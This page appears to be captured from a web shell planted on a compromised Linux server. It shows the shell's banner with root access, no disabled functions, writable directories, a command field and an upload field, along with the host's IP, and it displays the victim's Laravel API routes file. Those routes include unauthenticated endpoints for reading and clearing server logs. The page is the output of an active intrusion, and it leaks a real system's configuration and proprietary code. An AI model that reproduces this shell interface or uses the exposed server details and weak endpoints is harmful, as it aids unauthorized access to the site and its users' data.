Uname:Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64

Base Dir : /var/www/machinox.in

User : root


403WebShell
403Webshell
Server IP : 13.235.167.51  /  Your IP : 216.73.217.116
Web Server : Apache
System : Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64
User : root ( 0)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/app.machinox.in/routes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/app.machinox.in/routes/api.php
<?php

use App\Http\Controllers\Admin\ClientController;
use App\Http\Controllers\Admin\ReportsController;
use App\Http\Controllers\WebService\NotificationController;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Route;
use App\Http\Controllers\WebService\UserAuthController;
use App\Http\Controllers\WebService\SocialLoginController;
use App\Http\Controllers\WebService\ForgotPasswordController;
use App\Http\Controllers\WebService\UserController;
use App\Http\Controllers\WebService\MachineController;
use App\Http\Controllers\WebService\AdvertiseController;
use App\Http\Controllers\WebService\BannerController;
use App\Http\Controllers\WebService\CategoriesController;
use App\Http\Controllers\WebService\ContactSupportController;
use App\Http\Controllers\WebService\FAQController;
use App\Http\Controllers\WebService\JobPostController;
use App\Http\Controllers\WebService\MachineEnquiryController;
use App\Http\Controllers\WebService\SubscriptionController;
use App\Http\Controllers\WebService\UserSettingsController;
use App\Http\Controllers\CommonController;
use App\Http\Controllers\MessageController;
use App\Http\Controllers\WebService\BoostController;
use App\Http\Controllers\WebService\OperatorController;
use App\Http\Controllers\WebService\TransactionController;

Route::get('/login', function (Request $request) {
    return $request->user();
})->middleware('auth:sanctum')->name('login');
Route::post('guest-login', [UserAuthController::class, 'guestlogin']);
Route::get("get-server-logs", [CommonController::class, 'GetServerLogs']);
Route::get("get-boost-logs", [CommonController::class, 'GetBoostLogs']);
Route::get("clear-server-logs", [CommonController::class, 'setServerLogs']);
Route::get("test-order", [TransactionController::class, 'testOrder']);
//Users Section
Route::get('content/{code}', [CommonController::class, 'getStatic']);
Route::post('auth/social', [SocialLoginController::class, 'handleSocialLogin']);
Route::post('register', [UserAuthController::class, 'register']);
Route::post('login', [UserAuthController::class, 'login']);

Route::post('auth/forget-password', [ForgotPasswordController::class, 'forgetPassword']);
Route::post('auth/resend-otp', [ForgotPasswordController::class, 'forgetPassword']);
Route::post('auth/verify-otp', [ForgotPasswordController::class, 'verifyOTP']);
Route::post('reset/password', [ForgotPasswordController::class, 'resetPassword']);
Route::group(['middleware' => 'auth:sanctum'], function () {
    Route::get('getStates', [CommonController::class, 'GetStates']);
    Route::get('logout', [UserAuthController::class, 'Logout']);
    Route::post('register-device', [CommonController::class, 'RegisterDevice']);
    Route::post('unregister-device', [CommonController::class, 'UnregisterDevice']);
    Route::post('add/address', [UserAuthController::class, 'SetInfo']);

    Route::post('operator/profile', [OperatorController::class, 'SetProfileInfo']);
    Route::put('operator/profile/{uuid}', [OperatorController::class, 'SetProfileInfo']);
    Route::post('operator/{uuid}/upload', [OperatorController::class, 'SetOperatorCv']);
    Route::get('operators/{model}', [OperatorController::class, 'GetList']);
    Route::get('operator/{uuid}', [OperatorController::class, 'GetInfo']);
    Route::get('operator/{id}/interest', [OperatorController::class, 'SetRequestInfo']);
    Route::get('operator/interest/list', [OperatorController::class, 'getInterestList']);
    Route::put('operator/open-to-work/update', [OperatorController::class, 'SetOpenToWork']);
    Route::put('operator/{id}/accept', [OperatorController::class, 'SetOpStatus']);
    Route::put('operator/{id}/publish', [OperatorController::class, 'SetPublishInfo']);

    Route::get('years', [CommonController::class, 'GetYears']);
    Route::get('Me', [UserController::class, 'GetMyProfile']);
    Route::post('profile', [UserController::class, 'SetProfileInfo']);
    Route::post('change/password', [UserController::class, 'changePassword']);
    Route::delete('account/delete', [UserController::class, 'deleteAccount']);
    Route::post('profile/upload', [UserController::class, 'SetProfileImage']);

    Route::get('list/categories', [CategoriesController::class, 'GetList']);

    Route::get('list/machine-types', [MachineController::class, 'GetListMachineTypes']);
    Route::get('list/models/{typeId}', [MachineController::class, 'GetListModelsByType']);

    Route::get('my/advertises', [AdvertiseController::class, 'myAdvertises']);
    Route::get('advertises', [AdvertiseController::class, 'GetList']);
    Route::get('advertises/{adId}', [AdvertiseController::class, 'GetInfo']);
    Route::post('advertises', [AdvertiseController::class, 'SetInfo']);
    Route::put('advertises/{adId}', [AdvertiseController::class, 'SetInfo']);
    Route::delete('advertises/{adId}', [AdvertiseController::class, 'Destroy']);
    Route::post('advertises/{adId}/upload', [AdvertiseController::class, 'UploadAdImage']);
    Route::delete('advertises/{adId}/image/{id}', [AdvertiseController::class, 'DeleteAdImage']);
    Route::put('advertises/{adId}/mark-sold', [AdvertiseController::class, 'SetSoldInfo']);
    Route::put('advertises/{adId}/republish', [AdvertiseController::class, 'SetRepublishInfo']);
    Route::put('advertises/{adId}/publish', [AdvertiseController::class, 'SetPublishInfo']);
    Route::get('type/{type}/advertises', [AdvertiseController::class, 'GetHomeAdvertises']);
    Route::get('category/{catId}/advertises', [AdvertiseController::class, 'GetCatAdsList']);


    Route::get('jobs', [JobPostController::class, 'GetList']);
    Route::post('jobs', [JobPostController::class, 'SetInfo']);
    Route::get('jobs/{jobId}', [JobPostController::class, 'GetInfo']);
    Route::put('jobs/{jobId}', [JobPostController::class, 'SetInfo']);
    Route::get('jobs/{jobId}/interest', [JobPostController::class, 'SetRequestInfo']);
    Route::put('jobs/{jobId}/publish', [JobPostController::class, 'SetPublishInfo']);
    Route::get('post/jobs', [JobPostController::class, 'postJobs']);
    Route::get('post/jobs/{jobId}', [JobPostController::class, 'GetInfo']);
    Route::put('job/status/{jobId}', [JobPostController::class, 'setStatus']);
    Route::get('post/jobs/{jobId}/interested', [JobPostController::class, 'GetOPList']);

    Route::post('users/settings', [UserSettingsController::class, 'SetInfo']);
    Route::get('users/settings', [UserSettingsController::class, 'GetInfo']);

    Route::get('faqs', [FAQController::class, 'GetList']);
    Route::get('contacts/support', [ContactSupportController::class, 'GetInfo']);
    Route::post('contacts/query', [ContactSupportController::class, 'SetInfo']);

    Route::get('banners/{type}', [BannerController::class, 'GetList']);

    Route::post('machines/enquiry', [MachineEnquiryController::class, 'SetInfo']);

    Route::get('my/transactions', [UserController::class, 'Mytransactions']);
    Route::get('my/subscriptions', [UserController::class, 'MySubscriptions']);
    Route::post('select/subscriptions', [SubscriptionController::class, 'getPlanInfo']);
    // Route::get('subscriptions/{planId}', [SubscriptionController::class, 'getPlanInfo']);
    Route::get('subscriptions', [SubscriptionController::class, 'GetList']);
    Route::post('subscriptions/renew', [SubscriptionController::class, 'getPlanInfo']);
    Route::post('subscriptions/upgrade', [SubscriptionController::class, 'getPlanInfo']);

    Route::post('subscriptions/payment', [TransactionController::class, 'doPayment']);

    Route::get('messages/{adId}', [MessageController::class, 'getAdChats']);
    Route::post('messages/{userId}', [MessageController::class, 'store']);
    Route::get('/messages/ad/{adId}/user/{otherUserId}', [MessageController::class, 'messagesBetweenUsers']);
    Route::get('chat-list', [MessageController::class, 'myAllChats']);
    Route::get('chat-count', [MessageController::class, 'getChatsCount']);

    Route::get('count/notification', [NotificationController::class, 'UnReadCount']);
    Route::get('notifications', [NotificationController::class, 'GetList']);
    Route::get('notification/{notification_id}', [NotificationController::class, 'GetInfo']);
    Route::put('notification/{notification_id}/read', [NotificationController::class, 'MarkAsRead']);
    Route::post('notification/read/all', [NotificationController::class, 'MarkReadAll']);
    Route::delete('notification/{notification_id}', [NotificationController::class, 'Destroy']);

    Route::post('test/notification', [NotificationController::class, 'TestNotification']);

    Route::get('clients', [ClientController::class, 'GetList']);
    Route::post('boost', [BoostController::class, 'setInfo']);
    Route::get('boosts', [BoostController::class, 'getList']);
    Route::get('seeker-subscription', [JobPostController::class, 'getRequestInfo']);
    
});

Route::post('check-version', [CommonController::class, 'checkAppVersion']);
    

Youez - 2016 - github.com/yon3zu
LinuXploit